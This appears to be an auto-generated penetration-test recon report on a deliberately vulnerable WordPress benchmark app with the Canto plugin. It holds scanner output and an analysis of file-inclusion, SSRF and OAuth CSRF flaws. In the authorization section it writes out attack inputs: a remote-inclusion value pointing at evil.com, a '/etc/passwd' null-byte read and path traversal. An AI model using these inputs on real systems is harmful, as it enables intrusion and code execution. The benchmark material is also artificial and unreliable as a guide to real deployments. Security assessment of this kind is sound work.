# Pre-Reconnaissance Report

## Port Discovery (naabu)
Status: Skipped
[object Object]

## Network Scanning (nmap)
Status: success
Starting Nmap 7.97 ( https://nmap.org ) at 2025-10-28 20:36 -0700
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000032s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 992 closed tcp ports (conn-refused)
PORT      STATE SERVICE   VERSION
80/tcp    open  http      Caddy httpd
|_http-server-header: Caddy
|_http-title: Site doesn't have a title.
443/tcp   open  ssl/https
|_http-title: Site doesn't have a title.
631/tcp   open  ipp       CUPS 2.3
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: CUPS/2.3 IPP/2.1
|_http-title: Home - CUPS 2.3.4
5003/tcp  open  http      Werkzeug httpd 3.0.3 (Python 3.8.17)
|_http-server-header: Werkzeug/3.0.3 Python/3.8.17
| http-title: Login
|_Requested resource was /employee/login
5004/tcp  open  http      Werkzeug httpd 3.0.6 (Python 3.8.17)
|_http-server-header: Werkzeug/3.0.6 Python/3.8.17
|_http-title: Login
7777/tcp  open  http      SimpleHTTPServer 0.6 (Python 3.12.10)
|_http-title: Directory listing for /
|_http-server-header: SimpleHTTP/0.6 Python/3.12.10
9999/tcp  open  abyss?
49158/tcp open  http      Golang net/http server
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 401 Unauthorized
|     Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'none'; script-src-elem 'none'; script-src-attr 'none'
|     Content-Type: text/plain; charset=utf-8
|     Tailscale-Cap: 115
|     Tailscale-Version: 1.82.5-tdec88625e-gec2eb9730
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|     Date: Wed, 29 Oct 2025 03:37:14 GMT
|     Content-Length: 14
|     auth required
|   GenericLines, Help, RTSPRequest, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 401 Unauthorized
|     Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'none'; script-src-elem 'none'; script-src-attr 'none'
|     Content-Type: text/plain; charset=utf-8
|     Tailscale-Cap: 115
|     Tailscale-Version: 1.82.5-tdec88625e-gec2eb9730
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|     Date: Wed, 29 Oct 2025 03:36:59 GMT
|     Content-Length: 14
|_    auth required
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port49158-TCP:V=7.97%I=7%D=10/28%Time=69018BDB%P=arm-apple-darwin24.4.0
SF:%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:
SF:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20
SF:Bad\x20Request")%r(GetRequest,192,"HTTP/1\.0\x20401\x20Unauthorized\r\n
SF:Content-Security-Policy:\x20default-src\x20'none';\x20frame-ancestors\x
SF:20'none';\x20script-src\x20'none';\x20script-src-elem\x20'none';\x20scr
SF:ipt-src-attr\x20'none'\r\nContent-Type:\x20text/plain;\x20charset=utf-8
SF:\r\nTailscale-Cap:\x20115\r\nTailscale-Version:\x201\.82\.5-tdec88625e-
SF:gec2eb9730\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-Options:\x2
SF:0DENY\r\nDate:\x20Wed,\x2029\x20Oct\x202025\x2003:36:59\x20GMT\r\nConte
SF:nt-Length:\x2014\r\n\r\nauth\x20required\n")%r(HTTPOptions,192,"HTTP/1\
SF:.0\x20401\x20Unauthorized\r\nContent-Security-Policy:\x20default-src\x2
SF:0'none';\x20frame-ancestors\x20'none';\x20script-src\x20'none';\x20scri
SF:pt-src-elem\x20'none';\x20script-src-attr\x20'none'\r\nContent-Type:\x2
SF:0text/plain;\x20charset=utf-8\r\nTailscale-Cap:\x20115\r\nTailscale-Ver
SF:sion:\x201\.82\.5-tdec88625e-gec2eb9730\r\nX-Content-Type-Options:\x20n
SF:osniff\r\nX-Frame-Options:\x20DENY\r\nDate:\x20Wed,\x2029\x20Oct\x20202
SF:5\x2003:36:59\x20GMT\r\nContent-Length:\x2014\r\n\r\nauth\x20required\n
SF:")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type
SF::\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x2
SF:0Bad\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
SF:\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x
SF:20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnectio
SF:n:\x20close\r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,192,"HTT
SF:P/1\.0\x20401\x20Unauthorized\r\nContent-Security-Policy:\x20default-sr
SF:c\x20'none';\x20frame-ancestors\x20'none';\x20script-src\x20'none';\x20
SF:script-src-elem\x20'none';\x20script-src-attr\x20'none'\r\nContent-Type
SF::\x20text/plain;\x20charset=utf-8\r\nTailscale-Cap:\x20115\r\nTailscale
SF:-Version:\x201\.82\.5-tdec88625e-gec2eb9730\r\nX-Content-Type-Options:\
SF:x20nosniff\r\nX-Frame-Options:\x20DENY\r\nDate:\x20Wed,\x2029\x20Oct\x2
SF:02025\x2003:37:14\x20GMT\r\nContent-Length:\x2014\r\n\r\nauth\x20requir
SF:ed\n");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.59 seconds


## Subdomain Discovery (subfinder)
Status: success
[object Object]

## Technology Detection (whatweb)
Status: success
[1m[34mhttp://localhost:35995[0m [200 OK] [1mApache[0m[[1m[32m2.4.41[0m], [1mHTML5[0m, [1mHTTPServer[0m[[1m[31mUbuntu Linux[0m][[1m[36mApache/2.4.41 (Ubuntu)[0m], [1mIP[0m[[0m[22m::1[0m], [1mMetaGenerator[0m[[0m[22mWordPress 6.8.3[0m], [1mScript[0m[[0m[22mimportmap,module,speculationrules[0m], [1mTitle[0m[[1m[33mMELODIC MAYHEM &#8211; Where chaos meets music[0m], [1mUncommonHeaders[0m[[0m[22mlink[0m], [1mWordPress[0m[[1m[32m6.8.3[0m]

## Code Analysis
# Penetration Test Scope & Boundaries

**Primary Directive:** This analysis is strictly limited to the **network-accessible attack surface** of the application. All subsequent tasks must adhere to this scope. Before reporting any finding (e.g., an entry point, a vulnerability sink), verification has been performed to ensure it meets the "In-Scope" criteria.

### In-Scope: Network-Reachable Components
A component is considered **in-scope** if its execution can be initiated, directly or indirectly, by a network request that the deployed application server is capable of receiving. This includes:
- Publicly exposed web pages and API endpoints.
- Endpoints requiring authentication via the application's standard login mechanisms.
- Any developer utility, debug console, or script that has been mistakenly exposed through a route or is otherwise callable from other in-scope, network-reachable code.

### Out-of-Scope: Locally Executable Only
A component is **out-of-scope** if it **cannot** be invoked through the running application's network interface and requires an execution context completely external to the application's request-response cycle. This includes tools that must be run via:
- A command-line interface (e.g., `go run ./cmd/...`, `python scripts/...`).
- A development environment's internal tooling (e.g., a "run script" button in an IDE).
- CI/CD pipeline scripts or build tools (e.g., Dagger build definitions).
- Database migration scripts, backup tools, or maintenance utilities.
- Local development servers, test harnesses, or debugging utilities.
- Static files or scripts that require manual opening in a browser (not served by the application).

---

## 1. Executive Summary

This WordPress 6.5.4 application with the custom Canto Digital Asset Management (DAM) plugin v3.0.4 presents a **CRITICAL security posture** requiring immediate remediation. The application follows a traditional monolithic LAMP stack architecture deployed in a single Docker container, but introduces multiple high-severity vulnerabilities through intentional misconfigurations and insecure plugin code.

**Most Critical Findings:**
The Canto plugin exposes six directly-accessible PHP files that bypass WordPress authentication and accept user-controlled file paths via the `wp_abspath` and `abspath` parameters. Combined with the intentionally enabled `allow_url_include=On` PHP configuration, these vulnerabilities create a direct path to Remote Code Execution (RCE). Additionally, the same files contain Server-Side Request Forgery (SSRF) vulnerabilities allowing attackers to probe internal networks, access cloud metadata endpoints, and exfiltrate sensitive data.

**Attack Surface Summary:**
The application exposes 21 network-accessible entry points including WordPress core endpoints, REST API routes, and the vulnerable Canto plugin files. The primary attack vector requires no authentication - attackers can directly access plugin library files to exploit Local File Inclusion (LFI), SSRF, and achieve RCE. The application runs over HTTP only with no TLS encryption, exposing credentials, session tokens, and OAuth access tokens to network interception.

**Security Posture Assessment:**
Defense-in-depth has failed at multiple layers. The network layer provides no encryption or WAF protection. The perimeter layer permits unauthenticated access to vulnerable plugin endpoints with no input validation on file paths. The application layer is partially protected by WordPress core security (nonces, prepared statements) but the plugin completely bypasses these controls. Database secrets are stored in plaintext. Overall assessment: **INADEQUATE** - immediate action required before any production exposure.

---

## 2. Architecture & Technology Stack

### Framework & Language

This application is built on **WordPress 6.5.4**, a mature PHP-based content management system running on **PHP 7.4** (end-of-life since November 2022). The runtime environment uses Apache 2.4.41 with mod_php for request handling, deployed on Ubuntu 20.04 LTS. The database layer uses MySQL 8.0.37 running on the same container as the web server.

**Critical Security Implication:** PHP 7.4 has not received security updates for over two years, exposing the application to known vulnerabilities including CVE-2024-2756 (password hash verification bypass) and CVE-2024-5458 (security bypass in filter functions). The containerized deployment uses a single container for both Apache and MySQL, violating separation of concerns and creating a single point of failure where web server compromise immediately grants database access with no network segmentation.

The PHP configuration contains an **intentional critical misconfiguration** at `/etc/php/7.4/apache2/php.ini` where `allow_url_include=On` has been explicitly enabled (Dockerfile lines 39-40). This setting permits remote file inclusion attacks, allowing attackers to execute arbitrary code by including remote PHP files. When combined with the Canto plugin's user-controlled `require_once()` statements, this creates a trivial path to Remote Code Execution.

### Architectural Pattern

The application follows a **traditional monolithic architecture** with all components tightly coupled in a single deployment unit. There is no microservices separation, no service mesh, and no API gateway. The architecture can be visualized as three trust boundaries: (1) Apache web server handling unauthenticated requests, (2) WordPress authentication zone with role-based access control, and (3) MySQL data persistence layer. However, the Canto plugin bypasses trust boundary #1 entirely by using `require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php')` - an attacker-controlled path parameter that should trigger authentication but can be manipulated to skip it.

**Trust Boundary Violations:** Six Canto plugin library files (`download.php`, `get.php`, `detail.php`, `tree.php`, `sizes.php`, `copy-media.php`) are directly accessible via HTTP without WordPress routing. These files attempt to load WordPress via user-supplied paths, creating multiple security failures: authentication bypass, path traversal, and potential remote file inclusion. The trust model assumes all PHP files in `/wp-content/plugins/` are protected by WordPress routing, but direct file access via web server bypasses this assumption entirely.

### Critical Security Components

**Authentication:** WordPress implements cookie-based session management using PHPass password hashing (adequate cryptographic strength) with authentication cookies properly configured with the `HttpOnly` flag. However, the **SameSite attribute is NOT set** on any session cookies (see `/wp-includes/pluggable.php` lines 1093-1097), leaving the application vulnerable to cross-site request forgery despite WordPress's nonce-based CSRF protection.

**Authorization:** WordPress uses a robust role-based access control (RBAC) system with five default roles (Administrator, Editor, Author, Contributor, Subscriber) and a capability-based permission model. Permission checks via `current_user_can()` are properly implemented throughout WordPress core. However, **the Canto plugin endpoints have zero authorization checks** - they can be accessed by unauthenticated users because they bypass WordPress entirely.

**Input Validation:** WordPress core implements comprehensive sanitization functions (`sanitize_text_field()`, `esc_url()`, `esc_html()`) and uses prepared statements via the `$wpdb` class to prevent SQL injection. The Canto plugin uses `sanitize_text_field()` on user input, but **sanitization is not validation** - the plugin sanitizes `$_REQUEST['wp_abspath']` but never validates that it matches the expected WordPress installation path, allowing path traversal attacks.

**Security Headers:** The application sets **NO security headers** - no Content-Security-Policy, X-Frame-Options, X-Content-Type-Options, Strict-Transport-Security, or Referrer-Policy. The `.htaccess` configuration (at `/app/html/.htaccess` line 8) only sets HTTP Authorization header passthrough for REST API authentication. This leaves the application vulnerable to clickjacking, MIME-sniffing attacks, and lacks HTTPS enforcement even if TLS were enabled.

---

## 3. Authentication & Authorization Deep Dive

### Authentication Mechanisms and Security Properties

WordPress implements a multi-layered authentication system centered around cookie-based sessions with cryptographically strong token generation. The primary authentication flow begins at `/app/html/wp-login.php` (lines 1273-1636) where users submit credentials via POST to `wp-login.php` with parameters `log` (username/email) and `pwd` (password). Password verification occurs through the `wp_check_password()` function (`/wp-includes/pluggable.php` line 2572) which uses the PHPass library with bcrypt-like hashing at 8 rounds of iteration.

**Password Hashing Implementation:** WordPress uses the `PasswordHash` class with portable mode enabled, implementing a bcrypt-inspired algorithm. When users log in with valid credentials, if an old hash format is detected, WordPress automatically rehashes the password with the current algorithm (`/wp-includes/pluggable.php` lines 2599-2608). This automatic migration ensures older MD5-based hashes are upgraded to stronger protection. However, **the fallback to MD5 hashing remains present** in the codebase for legacy compatibility, which presents a minor security risk if database values are directly manipulated.

**Session Token Generation:** Upon successful authentication, WordPress generates a 43-character random session token using `wp_generate_password(43, true, true)` (`/wp-includes/class-wp-session-tokens.php` line 150). This token is cryptographically secure and stored as a SHA-256 hash in the `wp_usermeta` table. The authentication cookie format is `username|expiration|token|hash` where the hash is computed as HMAC-SHA256 of the user login, password fragment, expiration, and token using the site's secret keys from wp-config.php (`/wp-includes/pluggable.php` lines 870-874).

**Exhaustive List of Authentication API Endpoints:**

1. **POST /wp-login.php** (Line 1497) - Primary login endpoint, accepts `log` and `pwd` parameters
2. **GET/POST /wp-login.php?action=logout** (Lines 788-822) - Logout endpoint with CSRF protection via `check_admin_referer('log-out')`
3. **POST /wp-login.php?action=lostpassword** (Lines 824-924) - Password reset request
4. **POST /wp-login.php?action=resetpass** (Lines 926-1088) - Password reset confirmation with key validation
5. **POST /wp-login.php?action=register** (Lines 1090-1200) - User registration (if enabled)
6. **POST /wp-login.php?action=postpass** (Lines 755-786) - Post password submission for password-protected content
7. **POST /wp-admin/admin-ajax.php?action=heartbeat** - Session keepalive (WordPress heartbeat API)
8. **WordPress REST API Application Passwords** (`/wp-includes/user.php` lines 327-447) - HTTP Basic Auth for REST API access

**Token Refresh Mechanisms:** WordPress does NOT implement automatic token refresh. Session tokens are created once per login and remain valid until expiration. With "Remember Me" enabled, tokens expire after 14 days; without it, tokens expire after 2 days (`/wp-includes/pluggable.php` lines 982-992). Browser cookies receive a 12-hour grace period beyond the token expiration to account for clock skew. There is no sliding window or automatic renewal - users must re-authenticate after token expiration.

### Session Management and Token Security

**Session Cookie Flags Configuration:**

The critical security configuration for session cookies occurs in `/wp-includes/pluggable.php` at lines 1093-1097 where WordPress sets three cookie categories:

```php
// Authentication cookies (admin paths)
setcookie($auth_cookie_name, $auth_cookie, $expire, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN, $secure, true);
setcookie($auth_cookie_name, $auth_cookie, $expire, ADMIN_COOKIE_PATH, COOKIE_DOMAIN, $secure, true);

// Logged-in cookies (site paths)
setcookie(LOGGED_IN_COOKIE, $logged_in_cookie, $expire, COOKIEPATH, COOKIE_DOMAIN, $secure_logged_in_cookie, true);
```

**HttpOnly Flag:** ✅ **PROPERLY SET** - The 7th parameter is `true` for all session cookies, preventing JavaScript access and mitigating XSS-based session theft.

**Secure Flag:** ⚠️ **CONDITIONALLY SET** - The 6th parameter uses the `$secure` variable (calculated at line 996-1010) which is dynamically set based on whether the login page was accessed via HTTPS (`is_ssl()`). **However, this application runs HTTP-only** (no TLS configured), so the Secure flag is always `false`, allowing session cookies to be transmitted over unencrypted connections and exposing them to network interception.

**SameSite Flag:** ❌ **CRITICAL VULNERABILITY - NOT SET** - WordPress does not explicitly set the SameSite attribute on any session cookies. The `setcookie()` calls use only 7 parameters, and SameSite was added as an 8th parameter in PHP 7.3+. Without this attribute, browsers may default to `SameSite=Lax` in modern versions, but **this leaves the application vulnerable to CSRF attacks** in browsers with older defaults or when cookies are set from cross-site contexts.

**Exact Location of Cookie Flag Configuration:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-includes/pluggable.php`
- **Lines:** 1093-1097 (setcookie calls with HttpOnly=true, Secure=dynamic, SameSite=MISSING)
- **Cookie Constants Definition:** `/wp-includes/default-constants.php` lines 302 (COOKIEPATH), 309 (SITECOOKIEPATH), 330 (COOKIE_DOMAIN)

### Authorization Model and Bypass Scenarios

WordPress implements a capability-based RBAC system where roles are collections of capabilities, and capabilities are checked before privileged operations. The core authorization logic resides in `/wp-includes/capabilities.php` with the `map_meta_cap()` function (line 44) mapping high-level capabilities like "edit_post" to primitive capabilities like "edit_posts" or "edit_others_posts" based on context.

**Permission Checking Flow:**
1. User requests privileged action (e.g., edit post)
2. WordPress calls `current_user_can('edit_post', $post_id)`
3. `map_meta_cap()` translates to primitive capability based on ownership
4. System checks if user's role grants the required capability
5. Action permitted or denied based on result

**Authorization Bypass in Canto Plugin:** The Canto plugin's library files completely bypass this authorization model. Files like `/wp-content/plugins/canto/includes/lib/get.php` (line 5) use `require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php')` which **appears** to load WordPress authentication, but because `wp_abspath` is user-controlled, attackers can:

1. **Path Traversal Bypass:** Set `wp_abspath=../../../../` to load an unintended file
2. **Null Byte Injection:** Use `wp_abspath=/etc/passwd%00` to read arbitrary files (if PHP <5.3.4)
3. **Remote File Inclusion:** If `allow_url_include=On` (which it is), use `wp_abspath=http://evil.com/shell.txt?` to execute remote code

Even when the path is set correctly to load WordPress, **none of the plugin files perform capability checks** - they make API calls to external Canto services without verifying the user has permission to access media, upload files, or modify settings.

### Multi-Tenancy Security Implementation

This WordPress installation is configured as a **single-site deployment**, not WordPress Multisite. Evidence:
- No `MULTISITE` constant defined in wp-config.php
- No network admin checks in codebase usage
- Database contains single `wp_options` table, not per-site tables

Therefore, multi-tenancy isolation is **NOT APPLICABLE**. If this were a Multisite installation, WordPress implements network-level super admin checks (via `is_super_admin()` at `/wp-includes/capabilities.php` line 68) and per-site database table prefixes for isolation.

### SSO/OAuth/OIDC Flows

The Canto plugin implements OAuth 2.0 integration for accessing external Digital Asset Management services. The OAuth flow configuration is in `/app/html/wp-content/plugins/canto/includes/class-canto-settings.php`:

**OAuth Authorization Endpoint:** `https://oauth.canto.com:443/oauth/api/oauth2/authorize` (line 272)

**OAuth Callback Endpoint:** The application registers `https://oauth.canto.com/oauth/api/callback/wordress` as the redirect URI (line 274), which is a **Canto-controlled intermediary** that then redirects back to the WordPress site.

**State Parameter Generation and Validation:**

**Generation (Line 276):**
```php
$state = urlencode($scheme . '://' . $http_host . $request_url);
```

**❌ CRITICAL OAUTH CSRF VULNERABILITY - NO STATE VALIDATION:**

The plugin generates a state parameter containing the return URL but **NEVER validates it on callback**. The callback handler at lines 482-513 receives OAuth tokens via URL parameters (`token`, `refreshToken`, `domain`, `app_api`) and stores them directly in the database without verifying the state parameter matches the original request. This creates an **OAuth CSRF vulnerability** where:

1. Attacker initiates OAuth flow, obtaining authorization code
2. Attacker tricks victim into accessing callback URL with attacker's code
3. Victim's WordPress account is now linked to attacker's Canto account
4. Attacker gains access to victim's WordPress media operations

**Exact File and Line:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-034-24/app/html/wp-content/plugins/canto/includes/class-canto-settings.php`
- **State Generation:** Line 276
- **Callback Handler (NO VALIDATION):** Lines 482-513
- **Token Storage:** Lines 487-491

**Nonce Parameter Validation:**

WordPress has a robust nonce system for CSRF protection, but the Canto plugin **does not use it for OAuth callbacks**. WordPress nonces are created via `wp_create_nonce($action)` (`/wp-includes/pluggable.php` line 2376) and verified via `wp_verify_nonce()` (line 2313). These are properly implemented in WordPress core (e.g., `check_admin_referer('log-out')` at `wp-login.php` line 789), but **commented-out nonce checks** appear in the Canto settings code at lines 125, 139, and 158-162, indicating the developer considered but did not implement nonce protection.

---

## 4. Data Security & Storage

### Database Security

WordPress uses the MySQLi extension with the custom `$wpdb` wrapper class (`/wp-includes/class-wpdb.php`) for all database operations. The database schema consists of 11 core WordPress tables: `wp_users`, `wp_usermeta`, `wp_posts`, `wp_postmeta`, `wp_comments`, `wp_commentmeta`, `wp_options`, `wp_terms`, `wp_term_taxonomy`, `wp_term_relationships`, and `wp_links`.

**Query Safety:** ✅ WordPress core implements **prepared statements** for all dynamic queries via the `$wpdb->prepare()` method. This method uses `mysqli_real_escape_string()` and placeholder substitution (lines 1353-1582 in `/wp-includes/class-wpdb.php`). Analysis of core WordPress code shows proper usage: `$wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_login = %s", $username)`. This effectively prevents SQL injection in core WordPress functionality.

**Database Access Controls:** The MySQL database uses dedicated credentials defined in `/app/html/wp-config.php`:
- Database: `wordpress`
- Username: `wp_user@localhost`
- Password: `ThisIsNotPartOfTheChallenge!` (plaintext in config file)
- Host: `127.0.0.1:3306` (localhost only)

**Database Encryption:** ❌ The database connection uses **NO SSL/TLS encryption**. The `$wpdb` instantiation in `/wp-includes/wp-db.php` does not specify `MYSQLI_CLIENT_SSL` flags. Since both MySQL and Apache run in the same container communicating via localhost, this is acceptable for network security but violates defense-in-depth principles - a container compromise exposes all database traffic.

**Credentials Storage:** ❌ **CRITICAL VULNERABILITY** - Database credentials are hardcoded in plaintext in `wp-config.php` (lines 30-33). While this file should not be web-accessible due to Apache configuration, it represents a single point of failure. If an attacker achieves file read via the LFI vulnerabilities in the Canto plugin, they can retrieve database credentials directly.

### Data Flow Security

**Sensitive Data Paths Identified:**

1. **User Credentials Flow:**
   - Input: POST to `/wp-login.php` with `log` and `pwd` parameters
   - Processing: `wp_signon()` → `wp_authenticate()` → `wp_authenticate_username_password()`
   - Password comparison: `wp_check_password()` using PHPass (timing-safe comparison)
   - Storage: Hashed password in `wp_users.user_pass` column
   - ✅ **Secure** - Uses strong hashing, timing-safe comparison

2. **Session Token Flow:**
   - Generation: 43-character random token via `wp_generate_password()`
   - Storage: SHA-256 hash in `wp_usermeta` table under `session_tokens` meta_key
   - Transmission: Via encrypted HMAC cookie (but over HTTP in this deployment)
   - ⚠️ **Partially Secure** - Strong generation and storage, but HTTP transmission exposes to MITM

3. **OAuth Token Flow (Canto Plugin):**
   - Acquisition: OAuth callback at class-canto-settings.php line 482-513
   - Storage: **PLAINTEXT** in `wp_options` table:
     - `fbc_app_token` - OAuth access token
     - `fbc_app_refresh_token` - OAuth refresh token
     - `fbc_flight_domain` - Canto API domain
   - Usage: Sent to Canto API via `wp_remote_get()` with Bearer token header
   - ❌ **CRITICAL** - Tokens stored in plaintext, database dump exposes third-party API access

4. **Email Credentials Flow (SMTP Configuration):**
   - Storage: Plaintext password in `wp_options` table
   - Value found: `mail_password` = `"password"` (literal string, not actual SMTP password configured)
   - ❌ **INSECURE PATTERN** - If real SMTP credentials were configured, they would be in plaintext

5. **User PII Flow:**
   - Collection: User registration, profile updates, comments
   - Storage: `wp_users` (email, login), `wp_usermeta` (first/last name, etc.), `wp_comments` (email, IP)
   - Encryption: ❌ **NONE** - All PII stored in plaintext
   - GDPR Compliance: ✅ WordPress includes data export/erasure tools (`/wp-admin/tools.php`)

### Multi-tenant Data Isolation

**NOT APPLICABLE** - This is a single-site WordPress installation. If configured as Multisite:
- Each site would have separate table prefixes (e.g., `wp_2_posts`, `wp_3_posts`)
- `$wpdb->prepare()` would include blog_id in WHERE clauses
- Super admins could access all sites; site admins restricted to their own

---

## 5. Attack Surface Analysis

### External Entry Points (Detailed Analysis)

The application exposes **21 distinct network-accessible entry points**, categorized by authentication requirements and risk level:

**Category 1: Public Entry Points (No Authentication Required) - 13 Endpoints**

1. **WordPress Front-End (`/` or `/index.php`)**
   - File: `/app/html/index.php`
   - Methods: GET, POST
   - Risk: Low (standard WordPress rendering)
   - Attack Vectors: XSS if plugins render unsanitized content

2. **WordPress Login (`/wp-login.php`)**
   - File: `/app/html/wp-login.php`
   - Methods: GET (form), POST (submit)
   - Risk: Medium (brute force target, no rate limiting)
   - Attack Vectors: Credential stuffing, timing attacks on password verification

3. **XML-RPC Endpoint (`/xmlrpc.php`)**
   - File: `/app/html/xmlrpc.php`
   - Methods: POST
   - Risk: High (known attack vector for amplification, brute force)
   - Attack Vectors: Brute force via system.multicall, pingback DDoS

4. **WordPress Cron (`/wp-cron.php`)**
   - File: `/app/html/wp-cron.php`
   - Methods: GET, POST
   - Risk: Low (executes scheduled tasks, limited attack surface)
   - Attack Vectors: DoS by triggering expensive cron jobs

5. **Comment Submission (`/wp-comments-post.php`)**
   - File: `/app/html/wp-comments-post.php`
   - Methods: POST
   - Risk: Medium (spam, XSS if comment output not escaped)
   - Attack Vectors: Spam, stored XSS in comment content

6. **Trackback Endpoint (`/wp-trackback.php`)**
   - File: `/app/html/wp-trackback.php`
   - Methods: POST
   - Risk: Medium (spam, SSRF via pingbacks)
   - Attack Vectors: Trackback spam, pingback reflection attacks

7-12. **🚨 CRITICAL: Canto Plugin Direct File Access (6 endpoints)**

   **7. `/wp-content/plugins/canto/includes/lib/download.php`**
   - Methods: GET, POST
   - Risk: **CRITICAL**
   - Vulnerabilities:
     - Local File Inclusion via `$_REQUEST['wp_abspath']` (line 5)
     - SSRF via user-controlled `subdomain` and `app_api` (line 15)
     - Remote Code Execution when combined with `allow_url_include=On`
   - User-Controlled Parameters: `wp_abspath`, `subdomain`, `app_api`, `id`, `quality`, `token`

   **8. `/wp-content/plugins/canto/includes/lib/get.php`**
   - Methods: GET, POST
   - Risk: **CRITICAL**
   - Vulnerabilities:
     - Local File Inclusion via `$_REQUEST['wp_abspath']` (line 5)
     - SSRF via user-controlled URL construction (lines 31-43)
     - Authentication bypass (no capability checks)
   - User-Controlled Parameters: `wp_abspath`, `subdomain`, `app_api`, `album`, `keyword`, `limit`, `start`

   **9. `/wp-content/plugins/canto/includes/lib/detail.php`**
   - Methods: GET, POST
   - Risk: **CRITICAL**
   - Vulnerabilities:
     - Local File Inclusion via `$_REQUEST['wp_abspath']` (line 3)
     - SSRF via user-controlled `subdomain`, `app_api`, `scheme`, `id` (line 13)
   - User-Controlled Parameters: `wp_abspath`, `subdomain`, `app_api`, `scheme`, `id`, `token`

   **10. `/wp-content/plugins/canto/includes/lib/tree.php`**
   - Methods: GET, POST
   - Risk: **CRITICAL**
   - Vulnerabilities:
     - Local File Inclusion via `$_REQUEST['wp_abspath']` (line 5)
     - SSRF to enumerate Canto folder structure (lines 15-17)
   - User-Controlled Parameters: `wp_abspath`, `subdomain`, `app_api`, `ablumid`, `token`

   **11. `/wp-content/plugins/canto/includes/lib/sizes.php`**
   - Methods: GET, POST
   - Risk: **CRITICAL**
   - Vulnerabilities:
     - Local File Inclusion via `urldecode($_REQUEST["abspath"])` (line 15)
     - Double-decoding bypass potential
     - Additional LFI via `$_REQUEST["abspath"]` (line 18)
   - User-Controlled Parameters: `abspath` (URL-decoded)

   **12. `/wp-content/plugins/canto/includes/lib/copy-media.php`**
   - Methods: POST
   - Risk: **CRITICAL**
   - Vulnerabilities:
     - Local File Inclusion via `urldecode($_POST['abspath'])` (line 55)
     - SSRF via user-controlled Canto API URL (lines 86-91)
     - Arbitrary file download via `download_url()` (line 111)
     - File upload to WordPress media library (line 203)
   - User-Controlled Parameters: `abspath`, `fbc_flight_domain`, `fbc_app_api`, `fbc_id`, `fbc_scheme`

13. **WordPress REST API (`/wp-json/*`)**
    - Base: `/wp-json/wp/v2/`
    - Methods: GET, POST, PUT, DELETE, PATCH
    - Risk: Medium (mixed authentication, some endpoints public)
    - Key Endpoints:
      - `/wp-json/wp/v2/posts` - List/create posts (public read, auth write)
      - `/wp-json/wp/v2/users` - User enumeration (limited public data)
      - `/wp-json/wp/v2/media` - Media library access (auth required for upload)
    - Attack Vectors: User enumeration, REST API abuse if rate limiting absent

**Category 2: Authenticated Entry Points (Require WordPress Login) - 8 Endpoints**

14. **WordPress Admin Dashboard (`/wp-admin/*`)**
    - Directory: `/app/html/wp-admin/`
    - Methods: GET, POST
    - Risk: Medium (depends on user role)
    - Protection: `auth_redirect()` enforces authentication (line 99 in admin.php)

15. **Admin AJAX Dispatcher (`/wp-admin/admin-ajax.php`)**
    - File: `/app/html/wp-admin/admin-ajax.php`
    - Methods: GET, POST
    - Risk: Medium (depends on registered actions)
    - Usage: WordPress and plugins register AJAX handlers via `wp_ajax_{action}` hooks
    - Protection: Action-specific (some require authentication, some don't)

16-19. **Canto Plugin AJAX Endpoints (4 endpoints via admin-ajax.php)**

    **16. `?action=fbc_get_token`**
    - Handler: `Canto::getToken()` (class-canto.php line 210)
    - Risk: Medium
    - Functionality: Obtains OAuth token from Canto API
    - External Connection: `https://oauth.canto.com:443/oauth/rest/oauth2/authenticate`
    - Protection: `wp_ajax_` prefix requires authentication

    **17. `?action=fbc_getMetadata`**
    - Handler: `Canto::getMetaData()` (class-canto.php line 212)
    - Risk: Low
    - Functionality: Retrieves metadata for Canto media items
    - Parameters: `fbc_id`, `nonce`
    - Protection: Nonce validation present

    **18. `?action=updateOptions`**
    - Handler: `Canto::updateOptions()` (class-canto.php line 214)
    - Risk: Medium
    - Functionality: Updates Canto plugin settings
    - Parameters: `duplicates`, `cron`, `schedule`, `cron_time_day`, `cron_time_hour`
    - Protection: Authenticated users only

    **19. `?action=fbc_updateOptions`**
    - Handler: `Canto_Settings::fbc_updateOptions()` (class-canto-settings.php line 69)
    - Risk: Medium
    - Functionality: Alternative settings update handler
    - Protection: Authenticated users (but ❌ missing nonce validation)

20. **Admin POST Handler (`/wp-admin/admin-post.php`)**
    - File: `/app/html/wp-admin/admin-post.php`
    - Methods: POST
    - Risk: Low (requires authentication + action-specific hooks)
    - Protection: Authentication required

21. **WordPress Media Upload (`/wp-admin/admin-ajax.php?action=upload-attachment`)**
